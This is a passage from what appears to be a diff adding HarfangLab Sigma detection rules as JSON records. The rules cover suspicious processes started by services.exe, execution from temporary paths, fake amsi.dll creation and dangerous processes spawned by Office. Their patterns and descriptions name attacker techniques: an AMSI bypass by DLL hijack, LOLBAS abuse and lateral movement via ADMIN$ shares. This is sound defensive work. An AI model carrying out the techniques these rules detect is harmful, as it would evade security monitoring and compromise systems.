'?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe *-File ?:\\'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe *-Command ?:\\'\n\n    select_process_powershell_specific:\n        Image|endswith:\n            - '\\powershell.exe'\n            - '\\pwsh.exe'\n        CommandLine|contains:\n            - 'powershell.exe ?:\\windows\\'\n            - 'powershell.exe ?:\\ProgramData\\'\n            - 'powershell.exe ?:\\PerfLogs\\'\n            - 'powershell.exe ?:\\temp\\'\n            - 'powershell.exe ?:\\users\\'\n            - 'powershell.exe ?:\\\\?Recycle.Bin\\'\n            - 'powershell.exe \\\\\\\\*\\C$\\'\n            - 'powershell.exe \\\\\\\\*\\ADMIN$\\'\n            - 'powershell.exe *-File ?:\\windows\\'\n            - 'powershell.exe *-File ?:\\ProgramData\\'\n            - 'powershell.exe *-File ?:\\PerfLogs\\'\n            - 'powershell.exe *-File ?:\\temp\\'\n            - 'powershell.exe *-File ?:\\users\\'\n            - 'powershell.exe *-File ?:\\\\?Recycle.Bin\\'\n            - 'powershell.exe *-File \\\\\\\\*\\C$\\'\n            - 'powershell.exe *-File \\\\\\\\*\\ADMIN$\\'\n            - 'powershell.exe *-Command ?:\\windows\\'\n            - 'powershell.exe *-Command ?:\\ProgramData\\'\n            - 'powershell.exe *-Command ?:\\PerfLogs\\'\n            - 'powershell.exe *-Command ?:\\temp\\'\n            - 'powershell.exe *-Command ?:\\users\\'\n            - 'powershell.exe *-Command ?:\\\\?Recycle.Bin\\'\n            - 'powershell.exe *-Command \\\\\\\\*\\C$\\'\n            - 'powershell.exe *-Command \\\\\\\\*\\ADMIN$\\'\n\n    exclusion_commandline:\n        CommandLine:\n            - '*acproxy.dll,PerformAutochkOperations*'           # C:\\Windows\\system32\\rundll32.exe /d acproxy.dll,PerformAutochkOperations\n            - '*aepdu.dll,AePduRunUpdate*'                       # C:\\Windows\\system32\\rundll32.exe aepdu.dll,AePduRunUpdate\n            - '*\\Windows\\system32\\silcollector.cmd*'             # C:\\Windows\\system32\\cmd.exe /d /c C:\\Windows\\system32\\silcollector.cmd configure\n            - '*srrstr.dll,ExecuteScheduledSPPCreation*'         # C:\\Windows\\system32\\rundll32.exe /d srrstr.dll,ExecuteScheduledSPPCreation\n            - '*ndfapi.dll,NdfRunDllDuplicateIPDefendingSystem*' # C:\\Windows\\system32\\rundll32.exe ndfapi.dll,NdfRunDllDuplicateIPDefendingSystem\n            - '*Startupscan.dll,SusRunTask*'                     # C:\\Windows\\system32\\rundll32.exe Startupscan.dll,SusRunTask (parent is svchost -k netsvcs)\n            - '*\\Windows\\system32\\pla.dll,PlaHost *' # C:\\Windows\\system32\\rundll32.exe C:\\Windows\\system32\\pla.dll,PlaHost \"Server Manager Performance Monitor\" \"$(Arg0)\"\n            # C:\\Windows\\system32\\cscript.exe /B /nologo C:\\Windows\\system32\\calluxxprovider.vbs RemoveServerPerformanceLog Server Manager Performance Monitor 604800000 C:\\PerfLogs\\Admin\\ServerManager\\ $(Arg2)\n            - '?:\\Windows\\system32\\cscript.exe /B /nologo ?:\\Windows\\system32\\calluxxprovider.vbs RemoveServerPerformanceLog Server Manager Performance Monitor *'\n            - 'rundll32.exe WSClient.dll,RefreshBannedAppsList'\n            - '*\\Windows\\system32\\calluxxprovider.vbs RemoveServerPerformanceLog \"Server Manager Performance Monitor\"*' # C:\\Windows\\system32\\cscript.exe /B /nologo C:\\Windows\\system32\\calluxxprovider.vbs RemoveServerPerformanceLog \"Server Manager Performance Monitor\" 604800000 C:\\PerfLogs\\Admin\\ServerManager\\ $(Arg2)\n            - '*Windows.Storage.ApplicationData.dll,CleanupTemporaryState*'    # C:\\Windows\\system32\\rundll32.exe Windows.Storage.ApplicationData.dll,CleanupTemporaryState\n            - '?:\\windows\\system32\\rundll32.exe appraiser.dll,DoScheduledTelemetryRun'\n            - '?:\\Windows\\system32\\rundll32.exe appraiser.dll,DailyGatedCheck'\n            # C:\\windows\\system32\\rundll32.exe invagent.dll,RunUpdate\n            # C:\\Windows\\system32\\rundll32.exe invagent.dll,RunUpdate -noappraiser\n            - '?:\\Windows\\system32\\rundll32.exe invagent.dll,RunUpdate*'\n            - 'rundll32.exe WSClient.dll,WSpTLR licensing'\n            - '?:\\Windows\\system32\\rundll32.exe portabledeviceapi.dll,#1'\n            - '?:\\Windows\\system32\\rundll32.exe dfdts.dll,DfdGetDefaultPolicyAndSMART'\n            - 'cmd.exe /c %windir%\\nvcontainerrecovery.bat nvcontainerlocalsystem ?:\\programdata\\nvidia\\nvcontainerrecoverynvcontainerlocalsystem.log'\n            - 'cmd.exe /C %windir%\\NvContainerRecovery.bat NVDisplay.ContainerLocalSystem ?:\\ProgramData\\NVIDIA\\NvContainerRecoveryNVDisplay.ContainerLocalSystem.log'\n            - '?:\\Windows\\System32\\Rundll32.exe ?:\\Windows\\System32\\drivers\\\\*'\n            - '?:\\Windows\\SYSTEM32\\cmd.exe /c ?:\\\\*\\Sauvegarde\\Scripts\\\\*'\n            - '?:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -File ?:\\Program Files\\AzureConnectedMachineAgent\\azcmagent_check_updates.ps1'\n            - 'cmd /c cd ?:\\Program Files\\Kerio\\Outlook Connector (Offline Edition)\\manticore && bin\\searchd.exe *'\n            - 'cmd /c cd ?:\\Program Files (x86)\\Kerio\\Outlook Connector (Offline Edition)\\manticore && bin\\searchd.exe *'\n\n    condition: selection_parent and\n        (\n            selection_process or\n            (select_process_cmd_generic and not filter_process_cmd_generic) or\n            select_process_cmd_specific or\n            (select_process_powershell_generic and not filter_process_powershell_generic) or\n            select_process_powershell_specific\n        )\n        and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6805209d-4011-4732-a79a-ad1db5090d94",
+  "rule_name": "Suspicious Program Launched by services.exe",
+  "rule_description": "Detects suspicious programs being spawned by services.exe.\nAttackers may to create services remotely to move laterally on a network, they can also abuse the Windows Service Control Manager to execute malicious commands or payloads.\nIt is recommended to check the legitimacy of the executed binary or script as well as to investigate the user responsible for this action to look for other malicious actions.\n",
+  "rule_creation_date": "2020-11-13",
+  "rule_modified_date": "2026-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1059.003",
+    "attack.t1059.005",
+    "attack.t1059.007",
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "68166cf1-d62b-4f81-8545-0da8329719b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620988Z",
+  "creation_date": "2026-03-23T11:45:34.620990Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620994Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.001/T1564.001.md",
+    "https://attack.mitre.org/techniques/T1564/001/"
+  ],
+  "name": "t1564_001_temporary_path_file_execution.yml",
+  "content": "title: Execution from Temporary Paths\nid: 68166cf1-d62b-4f81-8545-0da8329719b3\ndescription: |\n    Detects a process execution from a temporary folder.\n    Attackers may to try to execute binaries in the temporary folder to evade detection and hide their traces, as temporary folders are cleaned upon reboot.\n    It is recommended to determine if the executed binary is legitimate as well as to investigate the context of this execution.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.001/T1564.001.md\n    - https://attack.mitre.org/techniques/T1564/001/\ndate: 2021/09/27\nmodified: 2026/02/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.execution\n    - attack.t1564.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.DefenseEvasion\n    - classification.Linux.Behavior.Masquerading\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|startswith:\n            - '/tmp/'\n            - '/var/tmp/'\n\n    filter_path:\n        Image|startswith:\n            - '/tmp/*/*/'\n            - '/var/tmp/*/*/'\n\n    # AppImage execution: /tmp/.mount_<binary_name>?????/<path>\n    # /tmp/.mount_cutter-18Af24/usr/bin/cutter\n    # /tmp/.mount_drawioWquxf9/drawio\n    # CommandLine exclusions for shell scripts launched from these paths\n    exclusion_appimage:\n        - Image|startswith:\n            - '/tmp/.mount_*/'\n            - '/var/tmp/.mount_*/'\n        - CommandLine|startswith:\n            - '/bin/sh /tmp/.mount_*/'\n            - '/bin/sh /var/tmp/.mount_*/'\n            - '/bin/zsh /tmp/.mount_*/'\n            - '/bin/zsh /var/tmp/.mount_*/'\n            # dash|bash, just in case.\n            - '/bin/?ash /tmp/.mount_*/'\n            - '/bin/?ash /var/tmp/.mount_*/'\n\n    exclusion_dropbox:\n        # /tmp/.dropbox-dist-new-614wdg_l/.dropbox-dist/dropbox-lnx.x86_64-148.4.4519/dropbox\n        Image: '/tmp/.dropbox-dist-new-*/dropbox'\n\n    exclusion_conftest:\n        # /tmp/pip-install-qlnay9pg/pycrypto_cf2c3963f87a42fa9ae01a2405ae576e/conftest\n        # /tmp/pip-install-YeTZDR/pycrypto/conftest\n        # /tmp/pear/temp/pear-build-defaultuser6nb1BB/rdkafka-6.0.1/conftest\n        # /tmp/pear/temp/pear-build-defaultuserTIhRtM/imagick-3.7.0/conftest\n        # /tmp/pear/temp/pear-build-defaultusergQ5TEA/redis-5.3.7/conftest\n        # /tmp/tomcat-native-1.2.32-src/native/conftest\n        # /tmp/pip-install-6ysytxgr/dbus-python_e8dcbd6233e24e718efbafe3c38accac/build/temp.linux-x86_64-3.8/conftest\n        # /tmp/pear/temp/pear-build-rooti8Yo5A/ssdeep-1.1.0/conftest\n        # /tmp/Python-3.10.2/conftest\n        # /tmp/icu/source/conftest\n        # /tmp/libbson/conftest\n        Image: '/tmp/*/conftest'\n        CommandLine: './conftest'\n\n    exclusion_sap:\n        # /tmp/sapinst_exe.405249.1652192102/jre/bin/java\n        # /tmp/sapinst_exe.1618399.1650889342/jre/bin/forkhelper\n        # /tmp/sapinst_exe.405249.1652192102/sapinstexe\n        # /tmp/sapinst_exe.490059.1652191158/sapwebdisp\n        # /tmp/sapinst_exe.490059.1652191158/ProcessWatchdog\n        # /tmp/sapinst_exe.405249.1652192102/SAPCAR\n        # /tmp/sapinst_instdir/GENERIC/SMD/INST/SmdSapJvm/sapjvm_8/bin/java\n        # /tmp/sapinst_instdir/GENERIC/SMD/INST/SmdSapJvm/sapjvm_8/jre/bin/forkhelper\n        Image:\n            - '/tmp/sapinst_exe.*/*'\n            - '/tmp/sapinst_instdir/*'\n\n    exclusion_oracle:\n        # /tmp/CVU_19.0.0.0.0_oracle/exectask\n        # /tmp/RU_Oracle/gateways/install/.oui\n        # /tmp/OraInstall2022-05-09_10-56-48AM/jdk/jre/bin/java\n        # /tmp/OraInstall2022-05-09_11-02-28AM/jdk/bin/java\n        Image:\n            - '/tmp/CVU_*_oracle/exectask'\n            - '/tmp/CVU_*_resource/exectask'\n            - '/tmp/RU_Oracle/gateways/install/.oui'\n            - '/tmp/OraInstall*/jdk/jre/bin/java'\n            - '/tmp/OraInstall*/jdk/bin/java'\n\n    exclusion_vmwware:\n        # /tmp/.SAPOSCOL_00000F1D_A60DE0EA.EXE\n        # /tmp/.SAPOSCOL_00000F1D_3DA6DF5B.EXE\n        Image: '/tmp/.SAPOSCOL_????????_????????.EXE'\n        CommandLine: 'vmware_getdat -q'\n\n    exclusion_install_dir:\n        # /tmp/install.dir.84311/Linux/resource/jre/bin/forkhelper\n        # /tmp/install.dir.84311/Linux/resource/jre/bin/java\n        Image:\n            - '/tmp/install.dir.*/Linux/resource/jre/bin/forkhelper'\n            - '/tmp/install.dir.*/Linux/resource/jre/bin/java'\n\n    exclusion_veeam:\n        - Image|startswith:\n            - '/tmp/veeamapp'\n            - '/tmp/veeamagent'\n        - ParentImage:\n            - '/opt/veeam/veeampluginfororaclerman/veeamagent'\n            - '/opt/veeam/veeampluginfororaclerman/rmanpluginmanager'\n        - Ancestors|contains:\n            - '|/opt/veeam/veeampluginfororaclerman/veeamagent|'\n            - '|/opt/veeam/veeampluginfororaclerman/rmanpluginmanager|'\n\n    exclusion_vmtoolsd:\n        - ParentImage:\n            - '/usr/bin/vmtoolsd'\n            - '/usr/sbin/vmtoolsd'\n        - GrandparentImage:\n            - '/usr/bin/vmtoolsd'\n            - '/usr/sbin/vmtoolsd'\n\n    exclusion_rustdoc:\n        Image: '/tmp/rustdoctest??????/rust_out'\n\n    exclusion_go:\n        # /tmp/go-build1480910053/b001/logsevents.test\n        # /tmp/go-build3216331136/b001/schedulerd.test\n        Image|startswith: '/tmp/go-build*/????/'\n\n    exclusion_genesys:\n        ParentCommandLine|contains: '/opt/install/genesys'\n        GrandparentCommandLine|contains: '/opt/install/genesys'\n\n    exclusion_netbackup:\n        - CommandLine: '/tmp/par-????????/temp-?????/nbhealthchecker'\n        # /usr/openv/netbackup/bin/nbhealthcheckcmd\n        # /usr/openv/netbackup/bin/nbpas\n        - ParentImage:\n            - '/usr/openv/netbackup/bin/nbhealthcheckcmd'\n            - '/usr/openv/netbackup/bin/nbpas'\n        - GrandparentImage:\n            - '/usr/openv/netbackup/bin/nbhealthcheckcmd'\n            - '/usr/openv/netbackup/bin/nbpas'\n\n    exclusion_buildah:\n        Image|startswith:\n            - '/var/tmp/buildah??????????/'\n            - '/var/tmp/buildah?????????/'\n            - '/tmp/buildah??????????/'\n\n    exclusion_netbackup_bpcd:\n        - Image: '/usr/openv/netbackup/bin/bpcd'\n        - ParentImage: '/usr/openv/netbackup/bin/bpcd'\n        - GrandparentImage: '/usr/openv/netbackup/bin/bpcd'\n\n    exclusion_bladelogic:\n        Image: '/tmp/scanlinux-x??'\n        GrandparentImage: '/opt/bmc/bladelogic/RSCD/bin/rscd_full'\n\n    exclusion_manageengine:\n        ParentCommandLine: '/bin/sh ./ManageEngine_FirewallAnalyzer*.bin'\n\n    exclusion_protoc:\n        Image:\n            - '/tmp/protoc??????????????????.exe'\n            - '/tmp/protoc???????????????????.exe'\n\n    exclusion_android_dev:\n        # /tmp/<ANONYMIZED>-cache/jetbrains/remotedev/remote-dev-worker/remote-dev-worker_fcf8a611ab8f9110082dc5a71cb4e287dc9ee35120fb7880e4e56e6b92abec56\n        # /tmp/<ANONYMIZED>-.gradle/caches/transforms-3/6cd239de5b1ec708bab6bb598b4f2db9/transformed/aapt2-7.4.0-8841542-linux/aapt2\n        - Image:\n            - '/tmp/*/jetbrains/remotedev/remote-dev-worker/remote-dev-worker_*'\n            - '/tmp/*/sdk/platform-tools/adb'\n            - '/tmp/*/sdk/emulator/crashpad_handler'\n            - '/tmp/*/sdk/emulator/emulator-check'\n            - '/tmp/*/sdk/emulator/emulator'\n            - '/opt/android-studio-*/jbr/bin/java'\n            - '/usr/local/android-studio-*/jbr/bin/java'\n        - ParentImage:\n            - '/opt/android-studio-*/jbr/bin/java'\n            - '/usr/local/android-studio-*/jbr/bin/java'\n        - GrandparentImage:\n            - '/opt/android-studio-*/jbr/bin/java'\n            - '/usr/local/android-studio-*/jbr/bin/java'\n\n    exclusion_bitdefender:\n        # /tmp/bdconfigure.XojjIr/bdconfigure64\n        Image: '/tmp/bdconfigure.*/bdconfigure64'\n\n    exclusion_mkrescue:\n        # /var/tmp/rear.zhtfdmzmjmff79n/rootfs/bin/tty\n        # /var/tmp/rear.ixgclpcvcimidyu/rootfs/bin/tty\n        # /var/tmp/rear.ixgclpcvcimidyu/rootfs/usr/lib/ld-2.17.so\n        # /var/tmp/rear.fohwn9pxrtmph4t/rootfs/bin/cat\n        ProcessImage|startswith: '/var/tmp/rear.???????????????/rootfs/'\n\n    exclusion_dbvisit:\n        # /tmp/par-6f7261636c65/cache-b383cface1d28c890ef9b3d2e84c40dfa18b42ec/dbvctl\n        # /tmp/par-6f7261636c65/cache-1735cb40c61060f403facf36dfecf7cfe5e34492/dbvctl\n        ProcessImage:\n            - '/tmp/par-????????????/cache-????????????????????????????????????????/dbvctl'\n            - '/tmp/par-????????????/cache-????????????????????????????????????????/pandora_db'\n\n    exclusion_opcon:\n        ProcessImage|startswith: '/tmp/opcon_agent/'\n\n    exclusion_plz_sandbox:\n        ProcessImage|startswith: '/tmp/plz_sandbox/'\n\n    exclusion_ollama:\n        ProcessImage|startswith:\n            - '/tmp/ollama/'\n            - '/tmp/ollama*/runners/*/ollama_llama_server'\n\n    # TODO: Add a `Ancestors|contains: /usr/bin/make` (and cmake) exclusion\n    # since a lot of build-systems use /tmp for their tests.\n\n    exclusion_vscode:\n        Ancestors|contains:\n            - '|/usr/share/code/code|'\n            - '|/snap/code/??/usr/share/code/code|'\n            - '|/snap/code/???/usr/share/code/code|'\n            - '|/snap/code/????/usr/share/code/code|'\n            - '|/snap/code/?????/usr/share/code/code|'\n            - '|/usr/share/vscodium/vscodium|'\n\n    exclusion_veeamapp:\n        ProcessImage: '/tmp/VeeamApp_????????-????-????-????-????????????'\n\n    exclusion_pandora_server:\n        ProcessGrandparentCommandLine|startswith: '/usr/bin/pandora_server'\n        ProcessImage|startswith: '/tmp/par-*/cache-*/'\n\n    exclusion_convert:\n        ProcessImage: '/tmp/wptoolsrtfconvert*'\n\n    exclusion_gitaly:\n        ProcessImage|startswith: '/tmp/gitaly-'\n\n    exclusion_docker:\n        ProcessAncestors|contains: '|/usr/bin/containerd-shim|'\n\n    exclusion_terraform:\n        ProcessParentImage: '/usr/bin/terraform'\n\n    exclusion_coder:\n        ProcessImage: '/tmp/coder.??????/coder'\n\n    exclusion_sonarqube:\n        ProcessImage|startswith: '/tmp/.sonar/cache'\n\n    exclusion_sipp:\n        ProcessImage|startswith: '/tmp/sipp/sippx86_64'\n\n    exclusion_conda_pixi:\n        ProcessImage: '/tmp/*/.CondaPkg/.pixi'\n\n    exclusion_libertp:\n        ProcessImage: '/tmp/ltpx_refchr/gettargetid64_linux'\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "68166cf1-d62b-4f81-8545-0da8329719b3",
+  "rule_name": "Execution from Temporary Paths",
+  "rule_description": "Detects a process execution from a temporary folder.\nAttackers may to try to execute binaries in the temporary folder to evade detection and hide their traces, as temporary folders are cleaned upon reboot.\nIt is recommended to determine if the executed binary is legitimate as well as to investigate the context of this execution.\n",
+  "rule_creation_date": "2021-09-27",
+  "rule_modified_date": "2026-02-16",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6841ffbd-a5e2-4fea-a4f5-68d0a12bec53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590997Z",
+  "creation_date": "2026-03-23T11:45:34.591000Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591007Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell/tree/master?tab=readme-ov-file#Using-Cornelis-de-Plaas-DLL-hijack-method",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_fake_amsi_creation.yml",
+  "content": "title: AMSI Library Created in Suspicious Location\nid: 6841ffbd-a5e2-4fea-a4f5-68d0a12bec53\ndescription: |\n    Detects the creation of a file called \"amsi.dll\" in an unusual location.\n    Attackers can create a fake \"amsi.dll\" file in an unusual location to prevent the processes in the same folder to load the legitimate library, bypassing the Antimalware Scan Interface (AMSI) mechanism.\n    It is recommended to investigate the origin and the content of the written DLL, as well as surrounding security events and the process that wrote the file to disk.\nreferences:\n    - https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell/tree/master?tab=readme-ov-file#Using-Cornelis-de-Plaas-DLL-hijack-method\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2025/08/29\nmodified: 2025/11/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ImpairDefenses\nlogsource:\n    product: windows\n    category: file_create\ndetection:\n    selection:\n        Path|endswith: '\\amsi.dll'\n\n    filter_unc_path:\n        Path|contains: '\\Device\\HarddiskVolume*\\\\'\n\n    exclusion_windows_path:\n        Path|endswith:\n            - '\\Windows\\system32\\amsi.dll'\n            - '\\Windows\\Syswow64\\amsi.dll'\n            - '\\Windows\\WinSxS\\\\*\\amsi.dll'\n            - '\\Windows\\\\*\\amd64_microsoft-antimalware-scan-interface*\\amsi.dll'\n            - '\\Windows\\\\*\\wow64_microsoft-antimalware-scan-interface*\\amsi.dll'\n            - '\\W10UIuup\\Windows11*\\amd64_microsoft-antimalware-scan-interface*\\amsi.dll'\n            - '\\W10UIuup\\Windows11*\\wow64_microsoft-antimalware-scan-interface*\\amsi.dll'\n            - '\\$WINDOWS.~BT\\\\*\\amsi.dll'\n            - '\\$WINDOWS.~TMP\\\\*\\amsi.dll'\n\n    exclusion_rollup_fix:\n        Path|contains: '\\package_for_rollupfix'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6841ffbd-a5e2-4fea-a4f5-68d0a12bec53",
+  "rule_name": "AMSI Library Created in Suspicious Location",
+  "rule_description": "Detects the creation of a file called \"amsi.dll\" in an unusual location.\nAttackers can create a fake \"amsi.dll\" file in an unusual location to prevent the processes in the same folder to load the legitimate library, bypassing the Antimalware Scan Interface (AMSI) mechanism.\nIt is recommended to investigate the origin and the content of the written DLL, as well as surrounding security events and the process that wrote the file to disk.\n",
+  "rule_creation_date": "2025-08-29",
+  "rule_modified_date": "2025-11-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "686d2296-eed8-4f0a-8e68-174ea45e8902",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294549Z",
+  "creation_date": "2026-03-23T11:45:35.294552Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294559Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1203/"
+  ],
+  "name": "t1104_office_application_spawning_malicious_processes_appdata.yml",
+  "content": "title: Dangerous Process Started by Microsoft Office Application with Reference to an AppData Folder\nid: 686d2296-eed8-4f0a-8e68-174ea45e8902\ndescription: |\n    Detects various potentially malicious binaries started from Microsoft Office applications (Word, Excel, Powerpoint, Publisher, Visio, ...) with reference to an AppData folder.\n    Attackers can send malicious documents through phishing to gain an initial foothold on their targets.\n    The AppData folder is often used by attackers to hide their malicious payloads.\n    It is recommended to investigate the parent process to check if a suspicious office document has been opened.\nreferences:\n    - https://attack.mitre.org/techniques/T1203/\ndate: 2020/07/27\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.initial_access\n    - attack.t1203\n    - attack.t1204.002\n    - attack.t1566\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Phishing\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_parent:\n        ParentImage|endswith:\n            - '\\WINWORD.EXE'\n            - '\\EXCEL.EXE'\n            - '\\OUTLOOK.EXE'\n            - '\\MSPUB.EXE'\n            - '\\POWERPNT.EXE'\n            - '\\VISIO.EXE'\n            - '\\EQNEDT32.EXE'  # related to CVE 2017-11882\n\n    selection_image:\n        - Image|endswith:\n          # cmd + scripts\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n            - '\\wscript.exe'\n            - '\\cscript.exe'\n          # persistence\n            - '\\schtasks.exe'\n            - '\\regsvr32.exe'  # lolbas squiblydoo\n            - '\\wmic.exe'  # use wmic to spawn PowerShell or else under wmiprvse or squiblytwo\n            - '\\mshta.exe'\n            - '\\rundll32.exe'\n            - '\\msiexec.exe'\n            - '\\msbuild.exe' # https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml\n            - '\\AppVLP.exe' # lolbas : https://lolbas-project.github.io/lolbas/OtherMSBinaries/Appvlp/\n        # handle renamed binaries\n        - OriginalFileName:\n            - 'Cmd.Exe'\n            - 'PowerShell.EXE'\n            - 'cscript.exe'\n            - 'wscript.exe'\n            - 'schtasks.exe'\n            - 'REGSVR32.EXE'\n            - 'wmic.exe'\n            - 'MSHTA.EXE'\n            - 'RUNDLL32.EXE'\n            - 'msiexec.exe'\n            - 'MSBuild.exe'\n            - 'appvlp.exe'\n\n    selection_appdata:\n        ParentCommandLine|contains: '\\AppData\\'\n\n    exclusion_photoviewer:\n        # parent is outlook\n        # \"C:\\windows\\System32\\rundll32.exe\" \"C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen C:\\Users\\smalka\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Outlook\\2UBOS01P\\Screenshot_20210113-145546_WhatsApp.jpg\n        CommandLine|contains: '?:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll'\n\n    exclusion_false_positives:\n        # lots of FP here...\n        CommandLine:\n            - '*ndfapi.dll,NdfRunDllDiagnoseWithAnswerFile*'\n            - '*cryptext.dll,CryptExtAddPFX*'\n            - '*cryptext.dll,CryptExtAddCERMachineOnlyAndHwnd*'\n            - '*?:\\windows\\system32\\spool\\drivers\\\\*'\n            - '*\\ZoneCentral\\zedmail.dll*'  # '*c:\\program files\\Prim'X\\ZoneCentral\\zedmail.dll*'\n            - '*\\ZoneCentral\\zedmail32.dll*' # '*c:\\program files\\Prim'X\\ZoneCentral\\zedmail32.dll*'\n            - '*printui.dll,PrintUIEntry*'\n            - '*shell32.dll,Control_RunDLL*srchadmin.dll*'\n            # - '*c:\\windows\\system32\\mshtml.dll*'  # mshtml only could permit dangerous stuff\n            - '*dfshim.dll*ShOpenVerbApplication*'\n            - '*shell32.dll,SHCreateLocalServerRunDll *{3eef301f-b596-4c0b-bd92-013beafce793}*' # Desktop Undo Manager\n            #   C:\\windows\\system32\\rundll32.exe C:\\windows\\syswow64\\WININET.dll,DispatchAPICall 1\n            - '*\\windows\\syswow64\\WININET.dll,DispatchAPICall 1'\n            - '*\\windows\\system32\\WININET.dll,DispatchAPICall 1'\n            # 